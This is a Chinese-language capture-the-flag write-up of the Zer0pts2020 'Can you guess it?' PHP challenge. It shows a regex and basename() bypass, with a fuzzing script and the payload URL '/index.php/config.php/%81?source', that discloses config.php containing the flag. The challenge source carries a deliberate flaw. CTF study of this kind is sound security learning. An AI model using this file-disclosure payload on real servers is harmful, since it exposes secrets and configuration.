[Zer0pts2020]Can you guess it?
打开网页,点击链接,发现源代码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
查询PHP手册:
basename
(PHP 4, PHP 5, PHP 7, PHP 8)
basename — 返回路径中的文件名部分
random_bytes
(PHP 7, PHP 8)
random_bytes — Generates cryptographically secure pseudo-random bytes 生成加密安全的伪随机字节
bin2hex
(PHP 4, PHP 5, PHP 7, PHP 8)
bin2hex — 函数把包含数据的二进制字符串转换为十六进制值
hash_equals
(PHP 5 >= 5.6.0, PHP 7, PHP 8)
hash_equals — 可防止时序攻击的字符串比较
$_SERVER
是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。PHP_SELF
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用$_SERVER['PHP_SELF']
将得到/foo/bar.php
。FILE**** 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。
注意到正则表达式中/config\.php\/*$/i
,$
号匹配字符串末尾,所以只要config.php/
末尾还有一个字符,就可以绕过正则表达式了。下一步就是保证加一个字符绕过正则表达式的同时,还要保持basename
函数能正确读取到config.php
,编写脚本查看符合上述两个条件的字符:
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for($i=0;$i<255;$i++){
$str="/index.php/config.php/".chr($i);
if(!check($str)){
echo dechex($i).":".basename($str)."\n";
}
}
References
[Zer0pts2020]Can you guess it?
发现从十六进制81开始就满足我们的两个条件了,所以输入url:
/index.php/config.php/%81?source
得到flag。
References